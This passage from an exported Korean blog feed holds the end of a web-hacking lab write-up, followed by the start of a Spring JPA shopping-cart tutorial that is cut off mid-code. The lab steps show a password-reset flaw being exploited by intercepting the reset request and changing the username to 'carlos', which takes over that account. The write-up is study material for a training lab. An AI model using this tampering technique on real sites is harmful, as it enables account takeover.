&lt;p data-ke-size=&quot;size16&quot;&gt;5. Email client 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-23 오후 10.52.59.png&quot; data-origin-width=&quot;1498&quot; data-origin-height=&quot;594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FJhvb/dJMcaf7Kzhi/IA7XNKW9Wc1StR7h4uJidk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FJhvb/dJMcaf7Kzhi/IA7XNKW9Wc1StR7h4uJidk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FJhvb/dJMcaf7Kzhi/IA7XNKW9Wc1StR7h4uJidk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFJhvb%2FdJMcaf7Kzhi%2FIA7XNKW9Wc1StR7h4uJidk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;628&quot; height=&quot;249&quot; data-filename=&quot;스크린샷 2026-05-23 오후 10.52.59.png&quot; data-origin-width=&quot;1498&quot; data-origin-height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 비어있으므로 이 방법이 아님&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.23.37.png&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;920&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nL3bM/dJMcajvzpSy/pnTNltP7f6Kczm8CNuGtqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nL3bM/dJMcajvzpSy/pnTNltP7f6Kczm8CNuGtqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nL3bM/dJMcajvzpSy/pnTNltP7f6Kczm8CNuGtqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnL3bM%2FdJMcajvzpSy%2FpnTNltP7f6Kczm8CNuGtqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;571&quot; height=&quot;272&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.23.37.png&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;920&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. wiener 입력 후 submit (시작에서 &lt;span style=&quot;color: #5c5c5b; letter-spacing: 0px;&quot;&gt;Your credentials:&lt;/span&gt;&lt;span style=&quot;color: #5c5c5b; letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #5c5c5b; letter-spacing: 0px;&quot;&gt;wiener:peter)&lt;/span&gt;&lt;span style=&quot;color: #5c5c5b; letter-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.34.12.png&quot; data-origin-width=&quot;1408&quot; data-origin-height=&quot;466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dcLDcD/dJMcafUgU5j/pv10ZxbPK6u7kcc2ZdqK1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dcLDcD/dJMcafUgU5j/pv10ZxbPK6u7kcc2ZdqK1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dcLDcD/dJMcafUgU5j/pv10ZxbPK6u7kcc2ZdqK1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdcLDcD%2FdJMcafUgU5j%2Fpv10ZxbPK6u7kcc2ZdqK1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;522&quot; height=&quot;173&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.34.12.png&quot; data-origin-width=&quot;1408&quot; data-origin-height=&quot;466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. email client 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.40.58.png&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nTPpZ/dJMcadowedZ/Hy4XeDr5pY46nFGs6UxeZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nTPpZ/dJMcadowedZ/Hy4XeDr5pY46nFGs6UxeZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nTPpZ/dJMcadowedZ/Hy4XeDr5pY46nFGs6UxeZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnTPpZ%2FdJMcadowedZ%2FHy4XeDr5pY46nFGs6UxeZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;513&quot; height=&quot;232&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.40.58.png&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;544&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9. Body태그 안에 있는 password reset 링크 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.41.50.png&quot; data-origin-width=&quot;2304&quot; data-origin-height=&quot;1170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l6sDl/dJMcagr48of/TMmRaRFaErP4wSXhKOcENk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l6sDl/dJMcagr48of/TMmRaRFaErP4wSXhKOcENk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l6sDl/dJMcagr48of/TMmRaRFaErP4wSXhKOcENk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl6sDl%2FdJMcagr48of%2FTMmRaRFaErP4wSXhKOcENk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;549&quot; height=&quot;279&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.41.50.png&quot; data-origin-width=&quot;2304&quot; data-origin-height=&quot;1170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10. intercept on 한 후 new password로 1234 입력 후 submit&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.45.09.png&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;914&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAyw8L/dJMcah5Dnul/QTBN0WuhWmWBA1B97yjpa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAyw8L/dJMcah5Dnul/QTBN0WuhWmWBA1B97yjpa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAyw8L/dJMcah5Dnul/QTBN0WuhWmWBA1B97yjpa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAyw8L%2FdJMcah5Dnul%2FQTBN0WuhWmWBA1B97yjpa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;552&quot; height=&quot;326&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.45.09.png&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;914&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;11. POST 타입 요청을 보면 13번 라인에 입력한 값이 나오는 것을 볼 수 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.46.43.png&quot; data-origin-width=&quot;2176&quot; data-origin-height=&quot;1650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9JbFW/dJMcacb9ml9/KvhsC8fPrsHAyYa8HYsGkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9JbFW/dJMcacb9ml9/KvhsC8fPrsHAyYa8HYsGkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9JbFW/dJMcacb9ml9/KvhsC8fPrsHAyYa8HYsGkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9JbFW%2FdJMcacb9ml9%2FKvhsC8fPrsHAyYa8HYsGkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;694&quot; height=&quot;526&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.46.43.png&quot; data-origin-width=&quot;2176&quot; data-origin-height=&quot;1650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12. username을 carlos로 바꾸고 forward&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.48.54.png&quot; data-origin-width=&quot;2144&quot; data-origin-height=&quot;1648&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yAO6f/dJMcagr48sq/6INIt4KEdjFZi5XKKtsyGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yAO6f/dJMcagr48sq/6INIt4KEdjFZi5XKKtsyGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yAO6f/dJMcagr48sq/6INIt4KEdjFZi5XKKtsyGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyAO6f%2FdJMcagr48sq%2F6INIt4KEdjFZi5XKKtsyGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;720&quot; height=&quot;553&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.48.54.png&quot; data-origin-width=&quot;2144&quot; data-origin-height=&quot;1648&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;13. intercept off 한 후 로그인 페이지로 돌아가서 carlos, 1234로 로그인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.51.12.png&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;712&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dVbujL/dJMcaayFca9/pVXUvaP6VfGNwUEL29gSW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dVbujL/dJMcaayFca9/pVXUvaP6VfGNwUEL29gSW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dVbujL/dJMcaayFca9/pVXUvaP6VfGNwUEL29gSW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdVbujL%2FdJMcaayFca9%2FpVXUvaP6VfGNwUEL29gSW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;462&quot; height=&quot;232&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.51.12.png&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;712&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;14. 성공 메시지가 뜸&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.51.55.png&quot; data-origin-width=&quot;1710&quot; data-origin-height=&quot;1198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnaAE0/dJMcahLi3zC/uqUqOmqS8VJkLn6Wb7jos0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnaAE0/dJMcahLi3zC/uqUqOmqS8VJkLn6Wb7jos0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnaAE0/dJMcahLi3zC/uqUqOmqS8VJkLn6Wb7jos0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnaAE0%2FdJMcahLi3zC%2FuqUqOmqS8VJkLn6Wb7jos0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;511&quot; height=&quot;358&quot; data-filename=&quot;스크린샷 2026-05-24 오전 1.51.55.png&quot; data-origin-width=&quot;1710&quot; data-origin-height=&quot;1198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>SWLUG(2026)/웹해킹</category>
      <author>batterygj</author>
      <guid isPermaLink="true">https://batterygj.tistory.com/79</guid>
      <comments>https://batterygj.tistory.com/79#entry79comment</comments>
      <pubDate>Sun, 24 May 2026 01:54:29 +0900</pubDate>
    </item>
    <item>
      <title>[5주차] item 설계 및 실습, 포스트맨 실습</title>
      <link>https://batterygj.tistory.com/78</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;구조&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Member &amp;rarr; Cart &amp;rarr; CartItem&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;uarr;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Item&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;Item 엔티티 추가&lt;/h4&gt;
&lt;pre id=&quot;code_1778948040723&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Entity
@Table(name = &quot;items&quot;)
@Getter @Setter
public class Item {

    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    @Column(name = &quot;item_id&quot;)
    private Long id;

    private String itemName;

    private int price;

    private int stock;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;CartItem 엔티티 추가&lt;/h4&gt;
&lt;pre id=&quot;code_1778948081416&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Entity  // 이 클래스가 DB테이블과 매핑되는 JPA 엔티티임 선언
@Table(name = &quot;cart_items&quot;)  // DB에 생성될 실제 테이블 이름을 cart_items로 지정
@Getter @Setter  // Lombok을 사용해 모든 필드의 Getter(조회)와 Setter(수정) 메서드를 자동 생성
public class CartItem {

    @Id  // 테이블 기본키로 지정
    @GeneratedValue(strategy = GenerationType.IDENTITY)  // 기본키 생성 DB에 위임
    @Column(name = &quot;cart_item_id&quot;)  // DB테이블의 실제 컬럼 이름을 cart_item_id로 매핑
    private Long id;

    // 어떤 장바구니에 들어갔는지
    @ManyToOne  // 여러 아이템이 하나의 장바구니에 속함
    @JoinColumn(name = &quot;cart_id&quot;)  // 외래키(FK) 컬럼 이름을 cart_id로 지정하여 Cart 테이블과 연결
    private Cart cart;

    // 어떤 상품인지
    @ManyToOne  // 여러 장바구니 아이템이 하나의 상품을 가리킬 수 있음
    @JoinColumn(name = &quot;item_id&quot;) // 외래키(FK) 컬럼 이름을 item_id로 지정하여 Item 테이블과 연결
    private Item item;

    private int quantity; // 수량
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Repository 추가&lt;/h4&gt;
&lt;pre id=&quot;code_1778948125846&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public interface CartRepository extends JpaRepository&amp;lt;Cart, Long&amp;gt; {
}  CartRepository가 관리하는 Cart엔티티의 PK타입은 Long&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778948140772&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public interface CartItemRepository extends JpaRepository&amp;lt;CartItem, Long&amp;gt; {
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778948155516&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public interface ItemRepository extends JpaRepository&amp;lt;Item, Long&amp;gt; {
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;CartService&amp;nbsp;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1778948186134&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Service  // 이 클래스가 비즈니스 로직(핵심 기능)을 처리하는 곳임을 스프링에 등록
@RequiredArgsConstructor  //Lombok을 이용해 final이 붙은 필드(Repository)를 자동으로 주입하는 생성자를 만듦
public class CartService {

    private final CartRepository cartRepository;  // 장바구니 데이터를 DB에 저장하고 조회하기 위한 레포지토리
    private final MemberRepository memberRepository;  // 회원정보를 DB에서 조회하기 위한 레포지토리

    // 장바구니 생성
    public Cart createCart(Long memberId) {  // 회원 ID를 받아와서 해당 회원의 장바구니를 생성하는 메서드
        Member member = memberRepository.findById(memberId)
                .orElseThrow(() -&amp;gt; new IllegalArgumentException(&quot;회원 없음&quot;));
               // 전달받은 memberId로 DB에서 회원조회. 회원 없으면 예외 처리

        Cart cart = new Cart();
        cart.setMember(member);  // 생성한 장바구니의 주인(member)를 위에서 조회한 회원으로 지정
        cart.setCreatedBy(LocalDateTime.now());

        return cartRepository.save(cart);  // 설정끝난 장바구니 객체를 DB에 저장하고 저장된 결과 반환
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) Required(필수적인)+ Args(인자) + Constructor(생성자) : 필수적인 필드만 가지고 생성자를 만들어라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스프링이 말하는 필수 필드: final이 붙은 필드. (자바에서 final이 붙은 변수는 값이 한번 초기화 되어야 컴파일 됨)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;ItemService&amp;nbsp;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1778948244905&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;package com.example.demo.service;

import com.example.demo.entity.Item;
import com.example.demo.repository.ItemRepository;
import lombok.RequiredArgsConstructor;
import org.springframework.stereotype.Service;

import java.util.List;

@Service  // 이 클래스가 핵심 비즈니스 로직을 처리하는 '서비스' 컴포넌트임을 스프링에 등록
@RequiredArgsConstructor  // final이 붙은 itemRepository를 자동으로 주입해주는 생성자를 만듦
public class ItemService {

    private final ItemRepository itemRepository;  // 상품 데이터를 DB에 접근해 처리할 레포지토리

    // 상품 생성
    public Item save(Item item) {
      // 전달받은 상품 객체(item)을 DB에 저장하고, 저장된 결과 반환
        return itemRepository.save(item);
    }

    // 전체 조회
    public List&amp;lt;Item&amp;gt; findAll() {
       // DB에 저장된 모든 상품 리스트를 가져와서 반환
        return itemRepository.findAll();
    }

    // 단건 조회
    public Item findById(Long id) {
       // 상품 ID로 특정 상품 하나를 찾음. 없으면 상품 없음 예외 발생시킴
        return itemRepository.findById(id)
                .orElseThrow(() -&amp;gt; new IllegalArgumentException(&quot;상품 없음&quot;));
    }

    // 수정
    public Item update(Long id, Item updatedItem) {

        Item item = findById(id);  // 수정할 상품이 DB에 있는지 조회

         // 조회해온 기존 상품 정보를 새로운 정보로 수정
        item.setItemName(updatedItem.getItemName());  // 이름 변경
        item.setPrice(updatedItem.getPrice());  // 가격 변경
        item.setStock(updatedItem.getStock());  // 재고 변경

        return itemRepository.save(item);
    }  // 정보가 수정된 상품 객체를 DB에 다시 저장하고 결과 반환

    // 삭제
    public void delete(Long id) {
           // 전달받은 상품 ID에 해당하는 데이터를 DB에서 삭제
        itemRepository.deleteById(id);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;CartItemService&amp;nbsp;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1778948277381&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Service
@RequiredArgsConstructor  //final이 붙은 Repository들을 자동으로 주입해주는 생성자를 만듦
public class CartItemService {

    private final CartRepository cartRepository;  //장바구니 데이터를 조회하기 위한 레포지토리
    private final ItemRepository itemRepository;  //상품 데이터를 조회하기 위한 레포지토리
    private final CartItemRepository cartItemRepository;  //장바구니 상품 데이터를 DB에 저장하고 조회하는 레포지토리

    // 장바구니에 상품 추가
    public CartItem addItem(Long cartId, Long itemId, int quantity) {

        Cart cart = cartRepository.findById(cartId)
                .orElseThrow(() -&amp;gt; new IllegalArgumentException(&quot;장바구니 없음&quot;));

        Item item = itemRepository.findById(itemId)
                .orElseThrow(() -&amp;gt; new IllegalArgumentException(&quot;상품 없음&quot;));

        CartItem cartItem = new CartItem();
        cartItem.setCart(cart);  // 이 장바구니 상품이 속할 장바구니 지정
        cartItem.setItem(item);  // 이 장바구니 상품이 가리킬 실제 상품 지정
